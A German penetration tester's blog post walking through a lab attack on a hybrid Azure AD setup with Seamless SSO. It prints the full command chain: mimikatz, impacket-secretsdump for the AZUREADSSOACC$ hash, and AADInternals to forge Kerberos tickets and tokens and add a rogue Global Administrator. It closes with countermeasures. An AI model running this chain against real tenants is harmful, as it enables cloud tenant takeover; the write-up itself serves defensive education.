Azure AD: Kerberos-Ticket-Delegation öffnet den Weg zum Global Admin!

In der heutigen dynamischen Geschäftswelt suchen Unternehmen nach Lösungen, die sowohl Flexibilität als auch Sicherheit in ihrer IT-Infrastruktur gewährleisten. Viele Unternehmen setzen dabei auf hybride Microsoft-Umgebungen. Microsoft Hybrid-Umgebungen verbinden das interne Active Directory mit der Microsoft Cloud. Dadurch stehen neue Funktionen wie Microsoft Seamless Single Sign-On (SSO) zur Verfügung. Mit Seamless SSO können sich Mitarbeitende je nach Konfiguration bei Diensten in der Microsoft Cloud oder in der On-Premise-Umgebung anmelden. Darüber hinaus optimiert Seamless SSO die Benutzererfahrung, indem es eine einfache und sichere Anmeldung bei Cloud-basierten Anwendungen ermöglicht, ohne dass sich die Benutzerinnen und Benutzer mehrere Passwörter merken oder eingeben müssen. Diese Funktionalität verbessert nicht nur die Effizienz, sondern erhöht auch die Sicherheit, da Mehrfachanmeldungen und potenzielle Sicherheitslücken reduziert werden.

Während Microsoft Hybrid-Umgebungen und Seamless SSO viele Vorteile bieten, ist es wichtig, dass Unternehmen die damit verbundenen Sicherheitsrisiken nicht ausser Acht lassen. Die Integration des internen Active Directory mit der Cloud vergrössert die Angriffsfläche und kann potenzielle Sicherheitslücken öffnen, insbesondere wenn die Konfiguration und das Management der Systeme nicht sorgfältig gehandhabt werden. Darüber hinaus kann die zentrale Rolle von Identitätsdiensten in einer solchen Umgebung dazu führen, dass einmal kompromittierte Anmeldeinformationen weitreichende Auswirkungen haben.

Einen möglichen Angriffsweg habe ich in unserer Testumgebung nachgestellt.

Szenario

Testumgebung

Das aufgebaute Testszenario besteht aus einer Active Directory Umgebung mit der Domain gotraining.lab. Die Active Directory Umgebung wird mit Microsoft Entra Connect mit der Azure AD Domäne vslnt.onmicrosoft.com synchronisiert. Weiter ist die Passthrough-Authentifizierung mit Seamless SSO aktiviert. Mit der Pass-Through-Authentifizierung können sich die Benutzer mit denselben Passwörtern sowohl bei lokalen als auch bei Cloud-basierten Anwendungen anmelden.

Angriff

Auf einem gekaperten Server läuft Microsoft Entra Connect (früher Azure AD Connect). Auf dem Server haben wir lokale Administratorberechtigung erlangt. Mit dieser Berechtigung können wir mit mimikatz die Hashes und teilweise Klartext-Kennwörter der angemeldeten Benutzer auslesen. In unserem Fall ist der Benutzer MSOL_b1f0a6fd29eb interessant. Dieser Benutzer wird bei der Installation von Microsoft Entra Connect erstellt und hat umfangreiche Berechtigungen, wie beispielsweise die DCSync-Berechtigung.

Mit dem MSOL_b1f0a6fd29eb-Benutzer können wir einen DC-Sync ausführen und die gesamte Domäne auslesen. Somit können wir auch Domänen Administrator werden. Das interessiert uns jetzt jedoch nicht. Für uns ist der Computer Account AZUREADSSOACC$ interessant. Dieser Computer Account wird ebenfalls bei der Installation von Microsoft Entra Connect erstellt und darf Kerberostickets erstellen. Um dies auszunutzen, benötigen wir den NTLM-Hash.

Der NTLM-Hash des Computer-Accounts AZUREADSSOACC$ können wir mit impacket-scretsdump auslesen. Dazu verwenden wir die Zugangsdaten von MSOL_b1f0a6fd29eb.

impacket-secretsdump gotraining.lab/MSOL_b1f0a6fd29eb@10.10.10.100 -just-dc-user AZUREADSSOACC$

Um zu prüfen, ob Seamless SSO aktiviert ist, können wir AADInternals verwenden. Seamless SSO ist ein Feature von Microsoft, das eine nahtlose Authentifizierungserfahrung für Benutzer ermöglicht, die sich in einem Firmennetzwerk befinden. Die Ausgabe zeigt, dass Seamless SSO aktiviert ist.

Invoke-AADIntReconAsOutsider -Domain vslnt.onmicrosoft.com | Format-Table

Als nächstes benötigen wir einen Account, welcher mit Azure AD synchronisiert wird und ohne MFA (Mehr-Faktor-Authentifizierung) konfiguriert ist. Dazu wäre ein Service Account ideal. Meistens werden diese ohne MFA konfiguriert. In unserer Domäne finden wir zwei Service Accounts.

Get-ADUser -Filter 'Name -like "svc*"'

Da es nur zwei Service Accounts sind, können wir diese schnell über das Microsoft Azure Portal http://portal.azure.com prüfen, in dem wir diese in die Anmeldemaske eingeben. Wird der Service Account akzeptiert, erscheint die folgende Anmeldemaske.

Der Service Account svc_cleanup ist mit der Azure AD synchronisiert. Nun können wir versuchen ein Kerberosticket für den Account zu erstellen. Dazu benötigen wir die SID (Security Identifier) des Service Accounts und den NTLM-Hash vom AZUAREADSSOACC-Account. Die SID können wir beispielweise mit Get-ADUser auslesen, das Kerberosticket erstellen wir mit den AADInternals. Dieses Kerberosticket ist nur wenige Minuten gültig. Das spielt jedoch keine Rolle, wir wollen damit sofort ein Token erstellen und wir können jederzeit ein neues Kerberosticket erstellen.

$DomainUser = Get-ADUser svc_cleanup
$kerberos=New-AADIntKerberosTicket -SidString $DomainUser.SID -Hash 69aeac9eb4385e155761000008820f3b
$kerberos

Mit diesem Kerberosticket erstellen wir ein Azure AD Graph-Access Token (AAD Graph-Access Token) für den Service Account.

$at = Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain vslnt.onmicrosoft.com
$at

Mit dem AAD Graph-Access Token können wir diverse Abfragen in der Azure AD Domäne ausführen. Wir interessieren uns für die Globalen Administratoren. Diese haben die höchste Berechtigung in der Azure AD-Domäne. In der Azure AD-Domäne gibt es zwei Globale Administratoren. Der Service Account svc_backup ist ein synchronisierter Account aus der internen Active Directory Domäne.

Connect-AzureAD -AadAccessToken $at -AccountId svc_cleanup@vslnt.onmicrosoft.com
$role = Get-AzureADDirectoryRole | Where-Object {$_.displayName -like 'Global Admin*'}
Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId | Get-AzureADUser | select UserPrincipalName,OnPremisesSecurityIdentifier

Da wir nur Kerberostickets für interne Domänenbenutzer erstellen können, ist nur der svc_backup für uns interessant.

Für diesen Service Account können wir, wie oben bereits für den anderen Service Account, ein Kerberosticket erstellen.

$DomainUser = Get-ADUser svc_backup
$kerberos=New-AADIntKerberosTicket -SidString $DomainUser.SID -Hash 69aeac9eb4385e155761000008820f3b
$kerberos

Mit diesem Kerberosticket erstellen wir wieder ein AAD Graph-Access Token, um uns im Azure AD anzumelden.

$at = Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain vslnt.onmicrosoft.com
$at
Connect-AzureAD -AadAccessToken $at -AccountId svc_backup@vslnt.onmicrosoft.com

Als nächstes wollen wir einen neuen Globalen Administrator erstellen. Dazu müssen wir uns mit dem svc_backup auf weitere Microsoftdienste anmelden. Mit dem -SaveToCache Parameter können wird unsere Tokens zwischenspeichern. Der Vorteil hierbei ist, dass die Tokens automatisch erneuert werden, wenn diese abgelaufen sind.

Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain vslnt.onmicrosoft.com -SaveToCache
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain vslnt.onmicrosoft.com -SaveToCache
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain vslnt.onmicrosoft.com -SaveToCache

Nachdem wir uns an den verschiedenen Diensten authentifiziert haben, können wir einen neuen Benutzer im Azure AD erstellen.

New-AADIntUser -UserPrincipalName hacker@vslnt.onmicrosoft.com -DisplayName "Hacker Hacker"

Dem neuen Benutzer geben wir die Rolle ‘Global Administrators’. Dadurch hat dieser die höchste Berechtigung in der Azure-AD-Domäne.

$user = Get-AzureADUser -SearchString hacker
$role = Get-AzureADDirectoryRole | Where-Object {$_.displayName -like 'Global Admin*'}
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId
Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId | Get-AzureADUser | select UserPrincipalName

Um dies zu bestätigen, melden wir uns mit dem neuen Benutzer auf admin.microsoft.com an.

Fazit

Azure Hybrid-Umgebungen bieten mit Funktionen wie Seamless SSO zahlreiche Vorteile, doch bringen sie auch spezifische Risiken mit sich. Ein kritischer Punkt ist die richtige Integration und das Management von Schlüsselkonten wie dem MSOL– oder AZUREADSSOACC$-Konto in die Sicherheitsmassnahmen des Unternehmens. Obwohl es keinen direkten Patch für die umfassenden Berechtigungen des MSOL-Kontos gibt, können durch bestimmte Gegenmassnahmen und Best Practices Risiken minimiert werden:

  1. Einzigartige Administratorkennwörter: Stellen Sie sicher, dass Server einzigartige Administratorkennwörter verwenden, um das Risiko einer lateralen Bewegung zu verringern.

  2. Schutz von ADSync-Servern: Behandeln Sie die Microsoft Entra Connect-Server mit der gleichen Sorgfalt wie einen Domänencontroller. Dies umfasst angemessene Sicherheitsmassnahmen und regelmässige Überwachung.

  3. Least-Privilege-Prinzip: Wenden Sie das Least-Privilege-Prinzip auf die gesamte Domäne an. Dies bedeutet, dass Benutzern und Diensten nur die minimal notwendigen Berechtigungen zugewiesen werden, die sie für ihre Funktion benötigen.

  4. Regelmässige Aktualisierung von wichtigen Konten: Ebenso wie das Kennwort des krbtgt-Kontos in Ihrer internen Domäne regelmässig aktualisiert werden sollte, ist es wichtig, auch das Kennwort des AZUREADSSOACC$-Kontos zu ändern. Detaillierte Anleitungen und Best Practices hierzu finden Sie in der Microsoft Entra Connect Dokumentation.

  5. Aktivierung von SMB-Signing: Durch Aktivierung von SMB-Signing können Sie Relay-Angriffe im Subnetz verhindern, was die Sicherheit des Netzwerks weiter erhöht.

Durch die Umsetzung dieser Massnahmen können Unternehmen ihre Azure Hybrid-Umgebung effektiver schützen und die Sicherheitsrisiken, die mit diesen fortschrittlichen Technologien verbunden sind, minimieren.

Abschliessend lässt sich sagen, dass die effektive Sicherheitsverwaltung in Azure Hybrid-Umgebungen essentiell ist. Durch die Implementierung strenger Sicherheitsprotokolle, das Einhalten von Best Practices und die kontinuierliche Überwachung können Unternehmen die Vorteile von Seamless SSO und anderen Cloud-Technologien voll ausschöpfen, während sie gleichzeitig ihre Systeme vor potenziellen Bedrohungen schützen und die Integrität ihrer IT-Infrastruktur bewahren.

Quellen

Informationen zum Autor: Marius Hamborgstrøm

Im Jahre 2014 ist es mir gelungen goSecurity von meinem Talent zu überzeugen. Als Experte für Penetration Tests konnte ich schon viele Schwachstellen aufdecken, bevor dies einem Hacker gelungen ist. Zudem bin ich für die Gestaltung und die Durchführung unserer goTraining-Kurse Hack to PROTECT (H2P), Hack to PROTECT [ADVANCED] (H2PA) und Windows Server Hardening (WSH) verantwortlich. Durch meine jahrelange Erfahrung als IT-Leiter einer mittelständischen Bank, kenne ich auch die Seite des Administrators und des IT-Managers in einer Umgebung mit hohen Sicherheitsanforderungen. Aus dieser Erfahrungskiste kann ich die Anforderungen unserer Kunden auch bei Audits und umfassenden Beratungen schnell verstehen und Sie zielgerichtet und praxisnah beraten. Jede Sicherheitslücke bei Ihnen zu finden, bevor dies jemand anderem gelingt, ist leider nicht immer realistisch. Und dennoch ist es mein Antrieb und mein Anspruch.